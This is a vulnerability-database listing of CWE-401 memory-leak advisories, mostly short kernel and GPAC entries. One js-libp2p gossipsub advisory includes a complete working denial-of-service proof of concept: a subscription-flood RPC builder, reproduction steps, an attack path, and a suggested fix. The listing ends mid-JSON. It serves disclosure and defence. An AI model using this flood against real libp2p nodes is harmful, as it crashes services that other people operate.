Common Weakness Enumeration

CWE-401

Allowed

Missing Release of Memory after Effective Lifetime

Abstraction: Variant · Status: Draft

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

2002 vulnerabilities reference this CWE, most recent first.

GHSA-49HG-VMM6-VV47

Vulnerability from github – Published: 2022-11-02 19:00 – Updated: 2022-11-04 12:00
VLAI
Details

GPAC v2.1-DEV-rev368-gfd054169b-master was discovered to contain a memory leak via the component gf_odf_new_iod at odf/odf_code.c.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-43255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-02T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "GPAC v2.1-DEV-rev368-gfd054169b-master was discovered to contain a memory leak via the component gf_odf_new_iod at odf/odf_code.c.",
  "id": "GHSA-49hg-vmm6-vv47",
  "modified": "2022-11-04T12:00:23Z",
  "published": "2022-11-02T19:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43255"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gpac/gpac/issues/2285"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5411"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4CHX-F5RG-W5PP

Vulnerability from github – Published: 2026-02-14 18:30 – Updated: 2026-03-18 15:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

rocker: fix memory leak in rocker_world_port_post_fini()

In rocker_world_port_pre_init(), rocker_port->wpriv is allocated with kzalloc(wops->port_priv_size, GFP_KERNEL). However, in rocker_world_port_post_fini(), the memory is only freed when wops->port_post_fini callback is set:

if (!wops->port_post_fini)
    return;
wops->port_post_fini(rocker_port);
kfree(rocker_port->wpriv);

Since rocker_ofdpa_ops does not implement port_post_fini callback (it is NULL), the wpriv memory allocated for each port is never freed when ports are removed. This leads to a memory leak of sizeof(struct ofdpa_port) bytes per port on every device removal.

Fix this by always calling kfree(rocker_port->wpriv) regardless of whether the port_post_fini callback exists.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-23164"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-14T16:15:56Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nrocker: fix memory leak in rocker_world_port_post_fini()\n\nIn rocker_world_port_pre_init(), rocker_port-\u003ewpriv is allocated with\nkzalloc(wops-\u003eport_priv_size, GFP_KERNEL). However, in\nrocker_world_port_post_fini(), the memory is only freed when\nwops-\u003eport_post_fini callback is set:\n\n    if (!wops-\u003eport_post_fini)\n        return;\n    wops-\u003eport_post_fini(rocker_port);\n    kfree(rocker_port-\u003ewpriv);\n\nSince rocker_ofdpa_ops does not implement port_post_fini callback\n(it is NULL), the wpriv memory allocated for each port is never freed\nwhen ports are removed. This leads to a memory leak of\nsizeof(struct ofdpa_port) bytes per port on every device removal.\n\nFix this by always calling kfree(rocker_port-\u003ewpriv) regardless of\nwhether the port_post_fini callback exists.",
  "id": "GHSA-4chx-f5rg-w5pp",
  "modified": "2026-03-18T15:30:40Z",
  "published": "2026-02-14T18:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23164"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2a3a64d75d2d0727da285749476761ebcad557a3"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8ce2e85889939c02740b4245301aa5c35fc94887"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/8d7ba71e46216b8657a82ca2ec118bc93812a4d0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b11e6f926480ab0939fec44781f28558c54be4e7"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d448bf96889f1905e740c554780f5c9fa0440566"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d8723917efda3b4f4c3de78d1ec1e1af015c0be1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/dce375f4afc348c310d171abcde7ec1499a4c26a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4CQ8-42W3-9M79

Vulnerability from github – Published: 2025-09-15 15:31 – Updated: 2025-12-04 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

MIPS: SGI-IP27: Fix platform-device leak in bridge_platform_create()

In error case in bridge_platform_create after calling platform_device_add()/platform_device_add_data()/ platform_device_add_resources(), release the failed 'pdev' or it will be leak, call platform_device_put() to fix this problem.

Besides, 'pdev' is divided into 'pdev_wd' and 'pdev_bd', use platform_device_unregister() to release sgi_w1 resources when xtalk-bridge registration fails.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-50281"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-15T15:15:39Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nMIPS: SGI-IP27: Fix platform-device leak in bridge_platform_create()\n\nIn error case in bridge_platform_create after calling\nplatform_device_add()/platform_device_add_data()/\nplatform_device_add_resources(), release the failed\n\u0027pdev\u0027 or it will be leak, call platform_device_put()\nto fix this problem.\n\nBesides, \u0027pdev\u0027 is divided into \u0027pdev_wd\u0027 and \u0027pdev_bd\u0027,\nuse platform_device_unregister() to release sgi_w1\nresources when xtalk-bridge registration fails.",
  "id": "GHSA-4cq8-42w3-9m79",
  "modified": "2025-12-04T21:31:01Z",
  "published": "2025-09-15T15:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-50281"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/11bec9cba4de06b3c0e9e4041453c2caaa1cbec1"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/48025893b3e31b917ad654d28d23fff66681cac4"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/93296e7ab774230b7c36541dead10b6da39b650f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/d7ac29e60d0ff71e9e414af595b8c92800f7fa90"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/da2aecef866b476438d02c662507a0e4e818da9d"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F7G-MQHX-8H4R

Vulnerability from github – Published: 2024-11-07 12:30 – Updated: 2024-11-13 18:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

RDMA/bnxt_re: Fix a possible memory leak

In bnxt_re_setup_chip_ctx() when bnxt_qplib_map_db_bar() fails driver is not freeing the memory allocated for "rdev->chip_ctx".

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-50172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-401"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-07T10:15:08Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/bnxt_re: Fix a possible memory leak\n\nIn bnxt_re_setup_chip_ctx() when bnxt_qplib_map_db_bar() fails\ndriver is not freeing the memory allocated for \"rdev-\u003echip_ctx\".",
  "id": "GHSA-4f7g-mqhx-8h4r",
  "modified": "2024-11-13T18:31:53Z",
  "published": "2024-11-07T12:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50172"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/3fc5410f225d1651580a4aeb7c72f55e28673b53"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/595fa9b17201028d35f92d450fc0ecda873fe469"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/73e04a6114e08b5eb10e589e12b680955accb376"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4F8R-922H-2VGV

Vulnerability from github – Published: 2026-05-21 21:38 – Updated: 2026-06-11 14:06
VLAI
Summary
js-libp2p: Memory DoS via subscription flood of unique topics
Details

Summary

Three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.

  1. defaultDecodeRpcLimits.maxSubscriptions = Infinity (packages/gossipsub/src/message/decodeRpc.ts:11): no decode-level cap on subscription entries per RPC.
  2. handleReceivedSubscription is unbounded (gossipsub.ts:1009-1021): every unique topic string creates a new Map entry + Set object in this.topics with no per-peer count limit.
  3. removePeer leaves empty Sets (gossipsub.ts:782-784): after peer disconnect, empty Sets are never deleted from this.topics thus memory is non-reclaimable within the process lifetime.

A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).

Details

Defect 1: defaultDecodeRpcLimits.maxSubscriptions = Infinity (message/decodeRpc.ts:11)

export const defaultDecodeRpcLimits: DecodeRPCLimits = {                                                   
  maxSubscriptions: Infinity,   // <- no decode-level cap                                                   
  // ...                                             
}                                                    

Passed directly to the protobuf decoder at gossipsub.ts:863. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.

Defect 2: handleReceivedSubscription unbounded growth (gossipsub.ts:1009-1021)

let topicSet = this.topics.get(topic)
if (topicSet == null) {
  topicSet = new Set()
  this.topics.set(topic, topicSet)   // new entry per unique topic, no count guard
}
topicSet.add(from.toString())

this.topics (Map<TopicStr, Set<PeerIdStr>>, gossipsub.ts:141) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at gossipsub.ts:960 acknowledges the map is "not bounded by topic count", but only for the allowedTopics != null branch, the default is null.

Defect 3: removePeer memory leak (gossipsub.ts:782-784)

for (const peers of this.topics.values()) {
  peers.delete(id)
  // empty Set is NOT removed from this.topics
} 

After disconnect, this.topics retains N empty Sets, one per unique attacker topic. stop() (lines 575–602) clears 12 data structures but not this.topics. Memory is leaked for the process lifetime.

Secondary: the O(topics.size) synchronous scan in removePeer grows as this.topics accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.

Attack path

  1. Attacker dials victim and opens a gossipsub stream.
  2. Score 0 > gossipThreshold = −10 thus subscriptions are processed immediately. No score check gates subscription handling.
  3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.
  4. Victim's handleReceivedRpc calls rpc.subscriptions.forEach(...) → 349,525 calls to handleReceivedSubscription -> this.topics grows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked.
  5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.
  6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.

PoC

Steps to reproduce (confirmed unpatched at HEAD 9eb27be79):

$ git clone https://github.com/libp2p/js-libp2p.git
$ cd js-libp2p                                         
$ npm install                                          
$ cd packages/gossipsub                                
$ npx aegir build                                      
$ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000                                        

File PoC:

/* eslint-env mocha */

import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { RPC } from '../src/message/rpc.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'

// Number of unique topics per attack RPC (for direct injection tests).
// Chosen to demonstrate impact without LP-framing; the ENCODE test shows
// how many actually fit in one 4 MB frame.
const UNIQUE_TOPICS_PER_RPC = 349_000

// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.
// Uses minimal 2-char topic strings ("00".."zz") to maximise packing.
// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.
// Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription.
// 4 MB / 8 bytes ≈ 524K subscriptions per frame.
function buildSubscriptionFloodRpc (count: number): Uint8Array {
  const subscriptions = Array.from({ length: count }, (_, i) => ({
    subscribe: true,
    // Sequential 6-char decimal topics: short but still unique
    topic: i.toString().padStart(6, '0')
  }))
  return RPC.encode({ subscriptions, messages: [], control: undefined })
}

// Binary-search the exact number of unique 6-char topics that fit in 4 MB.
function maxTopicsIn4MB (): number {
  const MAX_LP_BYTES = 4 * 1024 * 1024
  let lo = 1; let hi = 600_000
  while (lo < hi) {
    const mid = (lo + hi + 1) >> 1
    if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) {
      lo = mid
    } else {
      hi = mid - 1
    }
  }
  return lo
}

describe('PoC: Memory DoS via subscription flood of unique topics', function () {
  this.timeout(60_000)

  let victim: GossipSubAndComponents
  let attacker: GossipSubAndComponents

  beforeEach(async () => {
    ;[victim, attacker] = await Promise.all([
      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
      createComponents({ init: { allowPublishToZeroTopicPeers: true } })
    ])
    await connectPubsubNodes(victim, attacker)
  })

  afterEach(async () => {
    await stop(
      victim.pubsub, attacker.pubsub,
      ...Object.values(victim.components),
      ...Object.values(attacker.components)
    )
  })

  it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => {
    const victimPubsub = victim.pubsub as any
    const attackerIdStr = attacker.components.peerId.toString()

    const topicsBefore = victimPubsub.topics.size as number
    const heapBefore = process.memoryUsage().heapUsed

    // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC
    // unique topics directly via handleReceivedSubscription (the exact function
    // called synchronously from handleReceivedRpc for each decoded SubOpts entry).
    const t0 = performance.now()
    for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
      victimPubsub.handleReceivedSubscription(
        { toString: () => attackerIdStr } as any,
        `poc-sub-flood-${i.toString().padStart(6, '0')}`,
        true
      )
    }
    const elapsed = performance.now() - t0

    const topicsAfter = victimPubsub.topics.size as number
    const heapAfterBytes = process.memoryUsage().heapUsed
    const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)
    const newTopics = topicsAfter - topicsBefore

    console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)
    console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)
    console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)
    console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)
    console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)

    // All unique topics must be present in the map — no dedup for unique strings
    assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,
      `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)

    // Must be non-trivial heap growth
    assert.ok(heapGrowthMB > 20,
      `expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)
  })

  it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => {
    const victimPubsub = victim.pubsub as any
    const attackerIdStr = attacker.components.peerId.toString()

    // Flood with unique topics
    for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
      victimPubsub.handleReceivedSubscription(
        { toString: () => attackerIdStr } as any,
        `poc-persist-${i.toString().padStart(6, '0')}`,
        true
      )
    }

    const topicsBeforeDisconnect = victimPubsub.topics.size as number

    // Simulate peer disconnect, this removes the peer ID from each Set but
    // does NOT delete empty Sets from this.topics.
    const tDisconnect = performance.now()
    victimPubsub.removePeer(attacker.components.peerId)
    const disconnectMs = performance.now() - tDisconnect

    const topicsAfterDisconnect = victimPubsub.topics.size as number

    console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)
    console.log(`[PoC] this.topics.size after  disconnect: ${topicsAfterDisconnect.toLocaleString()}`)
    console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)
    console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`)

    // Topics Map is unchanged in SIZE — empty Sets persist
    assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,
      `this.topics.size should be unchanged after disconnect (empty Sets persist); ` +
      `was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)

    // removePeer O(N) scan should take non-trivial time with 349K entries
    assert.ok(disconnectMs > 5,
      `expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)

    // Verify Sets are actually empty (peer removed from each)
    let emptyCount = 0
    for (const [, peers] of victimPubsub.topics) {
      if ((peers as Set<string>).size === 0) emptyCount++
    }
    assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC,
      `expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)
  })

  it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {
    this.timeout(30_000)
    const MAX_LP_BYTES = 4 * 1024 * 1024

    // Find exact maximum with binary search
    const maxCount = maxTopicsIn4MB()
    const rpc = buildSubscriptionFloodRpc(maxCount)

    const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4

    console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)
    console.log(`[PoC] Serialised RPC size:              ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
    console.log(`[PoC] LP frame limit:                   ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)
    console.log(`[PoC] Fits in one frame:                ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
    console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)
    console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)

    assert.ok(rpc.byteLength <= MAX_LP_BYTES,
      `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`)
    assert.ok(maxCount > 100_000,
      `expected >100K subscriptions per 4 MB frame, got ${maxCount}`)
  })
})

Impact

  • Availability (memory): single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.
  • Availability (CPU): 224ms event-loop block per 4MB subscription RPC (synchronous forEach); grows with accumulated attack state.
  • No score mitigation: subscription processing has no score check and no score penalty for flooding.
  • Affected deployments: any node running @libp2p/gossipsub with default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, any createLibp2p({ services: { pubsub: gossipsub() } }).
  • Partial mitigation only: setting opts.allowedTopics caps growth to allowedTopics.size topics per attacker; does not fix the memory leak for allowed topics or the O(N) removePeer scan.

Suggested remediation

Delete empty Sets on unsubscribe and disconnect:

// handleReceivedSubscription
} else {
  topicSet.delete(from.toString())
  if (topicSet.size === 0) this.topics.delete(topic)
}

// removePeer
for (const [topic, peers] of this.topics) {
  peers.delete(id)
  if (peers.size === 0) this.topics.delete(topic)
}

Clear this.topics in stop():

this.topics.clear()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 15.0.22"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@libp2p/gossipsub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "15.0.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-401"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T21:38:40Z",
    "nvd_published_at": "2026-06-10T22:17:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThree cooperating omissions in `@libp2p/gossipsub` allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.\n\n1. **`defaultDecodeRpcLimits.maxSubscriptions = Infinity`** (`packages/gossipsub/src/message/decodeRpc.ts:11`): no decode-level cap on subscription entries per RPC.\n2. **`handleReceivedSubscription` is unbounded** (`gossipsub.ts:1009-1021`): every unique topic string creates a new `Map` entry + `Set` object in `this.topics` with no per-peer count limit.\n3. **`removePeer` leaves empty Sets** (`gossipsub.ts:782-784`): after peer disconnect, empty Sets are never deleted from `this.topics` thus memory is non-reclaimable within the process lifetime.\n\nA single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).\n\n### Details\n#### Defect 1: `defaultDecodeRpcLimits.maxSubscriptions = Infinity` (`message/decodeRpc.ts:11`)\n\n```typescript                                                                                              \nexport const defaultDecodeRpcLimits: DecodeRPCLimits = {                                                   \n  maxSubscriptions: Infinity,   // \u003c- no decode-level cap                                                   \n  // ...                                             \n}                                                    \n```\n\nPassed directly to the protobuf decoder at `gossipsub.ts:863`. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.\n\n#### Defect 2: `handleReceivedSubscription` unbounded growth (`gossipsub.ts:1009-1021`)\n\n```typescript                                        \nlet topicSet = this.topics.get(topic)\nif (topicSet == null) {\n  topicSet = new Set()\n  this.topics.set(topic, topicSet)   // new entry per unique topic, no count guard\n}\ntopicSet.add(from.toString())\n```\n\n`this.topics` (`Map\u003cTopicStr, Set\u003cPeerIdStr\u003e\u003e`, `gossipsub.ts:141`) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at `gossipsub.ts:960` acknowledges the map is \"not bounded by topic count\", but only for the `allowedTopics != null` branch, the default is `null`.\n\n#### Defect 3: `removePeer` memory leak (`gossipsub.ts:782-784`)\n\n```typescript                                        \nfor (const peers of this.topics.values()) {\n  peers.delete(id)\n  // empty Set is NOT removed from this.topics\n} \n```\n\nAfter disconnect, `this.topics` retains N empty Sets, one per unique attacker topic. `stop()` (lines 575\u2013602) clears 12 data structures but not `this.topics`. Memory is leaked for the process lifetime.\n\nSecondary: the O(topics.size) synchronous scan in `removePeer` grows as `this.topics` accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.\n\n#### Attack path                                      \n\n1. Attacker dials victim and opens a gossipsub stream.\n2. Score 0 \u003e `gossipThreshold = \u221210` thus subscriptions are processed immediately. No score check gates subscription handling.\n3. Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.\n4. Victim\u0027s `handleReceivedRpc` calls `rpc.subscriptions.forEach(...)` \u2192 349,525 calls to `handleReceivedSubscription` -\u003e `this.topics` grows by 349,525 entries -\u003e ~89MB heap consumed -\u003e ~224ms event-loop blocked.\n5. Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.\n6. After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.\n\n### PoC\n**Steps to reproduce** (confirmed unpatched at HEAD `9eb27be79`):\n\n```bash                                              \n$ git clone https://github.com/libp2p/js-libp2p.git\n$ cd js-libp2p                                         \n$ npm install                                          \n$ cd packages/gossipsub                                \n$ npx aegir build                                      \n$ node --experimental-vm-modules ../../node_modules/.bin/mocha \u0027dist/test/poc.js\u0027 --timeout 60000                                        \n```\n\nFile PoC:\n```typescript\n/* eslint-env mocha */\n\nimport { stop } from \u0027@libp2p/interface\u0027\nimport assert from \u0027node:assert\u0027\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { RPC } from \u0027../src/message/rpc.js\u0027\nimport { createComponents, connectPubsubNodes } from \u0027./utils/create-pubsub.js\u0027\nimport type { GossipSubAndComponents } from \u0027./utils/create-pubsub.js\u0027\n\n// Number of unique topics per attack RPC (for direct injection tests).\n// Chosen to demonstrate impact without LP-framing; the ENCODE test shows\n// how many actually fit in one 4 MB frame.\nconst UNIQUE_TOPICS_PER_RPC = 349_000\n\n// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.\n// Uses minimal 2-char topic strings (\"00\"..\"zz\") to maximise packing.\n// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.\n// Outer RPC field: tag+len \u2248 2 bytes -\u003e ~8 bytes total per subscription.\n// 4 MB / 8 bytes \u2248 524K subscriptions per frame.\nfunction buildSubscriptionFloodRpc (count: number): Uint8Array {\n  const subscriptions = Array.from({ length: count }, (_, i) =\u003e ({\n    subscribe: true,\n    // Sequential 6-char decimal topics: short but still unique\n    topic: i.toString().padStart(6, \u00270\u0027)\n  }))\n  return RPC.encode({ subscriptions, messages: [], control: undefined })\n}\n\n// Binary-search the exact number of unique 6-char topics that fit in 4 MB.\nfunction maxTopicsIn4MB (): number {\n  const MAX_LP_BYTES = 4 * 1024 * 1024\n  let lo = 1; let hi = 600_000\n  while (lo \u003c hi) {\n    const mid = (lo + hi + 1) \u003e\u003e 1\n    if (buildSubscriptionFloodRpc(mid).byteLength \u003c= MAX_LP_BYTES) {\n      lo = mid\n    } else {\n      hi = mid - 1\n    }\n  }\n  return lo\n}\n\ndescribe(\u0027PoC: Memory DoS via subscription flood of unique topics\u0027, function () {\n  this.timeout(60_000)\n\n  let victim: GossipSubAndComponents\n  let attacker: GossipSubAndComponents\n\n  beforeEach(async () =\u003e {\n    ;[victim, attacker] = await Promise.all([\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } }),\n      createComponents({ init: { allowPublishToZeroTopicPeers: true } })\n    ])\n    await connectPubsubNodes(victim, attacker)\n  })\n\n  afterEach(async () =\u003e {\n    await stop(\n      victim.pubsub, attacker.pubsub,\n      ...Object.values(victim.components),\n      ...Object.values(attacker.components)\n    )\n  })\n\n  it(\u0027FLOOD: unique topic subscriptions accumulate unboundedly in this.topics\u0027, () =\u003e {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    const topicsBefore = victimPubsub.topics.size as number\n    const heapBefore = process.memoryUsage().heapUsed\n\n    // Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC\n    // unique topics directly via handleReceivedSubscription (the exact function\n    // called synchronously from handleReceivedRpc for each decoded SubOpts entry).\n    const t0 = performance.now()\n    for (let i = 0; i \u003c UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () =\u003e attackerIdStr } as any,\n        `poc-sub-flood-${i.toString().padStart(6, \u00270\u0027)}`,\n        true\n      )\n    }\n    const elapsed = performance.now() - t0\n\n    const topicsAfter = victimPubsub.topics.size as number\n    const heapAfterBytes = process.memoryUsage().heapUsed\n    const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)\n    const newTopics = topicsAfter - topicsBefore\n\n    console.log(`\\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)\n    console.log(`[PoC] this.topics.size: ${topicsBefore} -\u003e ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)\n    console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)\n    console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)\n    console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)\n\n    // All unique topics must be present in the map \u2014 no dedup for unique strings\n    assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,\n      `expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)\n\n    // Must be non-trivial heap growth\n    assert.ok(heapGrowthMB \u003e 20,\n      `expected \u003e20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)\n  })\n\n  it(\u0027PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)\u0027, () =\u003e {\n    const victimPubsub = victim.pubsub as any\n    const attackerIdStr = attacker.components.peerId.toString()\n\n    // Flood with unique topics\n    for (let i = 0; i \u003c UNIQUE_TOPICS_PER_RPC; i++) {\n      victimPubsub.handleReceivedSubscription(\n        { toString: () =\u003e attackerIdStr } as any,\n        `poc-persist-${i.toString().padStart(6, \u00270\u0027)}`,\n        true\n      )\n    }\n\n    const topicsBeforeDisconnect = victimPubsub.topics.size as number\n\n    // Simulate peer disconnect, this removes the peer ID from each Set but\n    // does NOT delete empty Sets from this.topics.\n    const tDisconnect = performance.now()\n    victimPubsub.removePeer(attacker.components.peerId)\n    const disconnectMs = performance.now() - tDisconnect\n\n    const topicsAfterDisconnect = 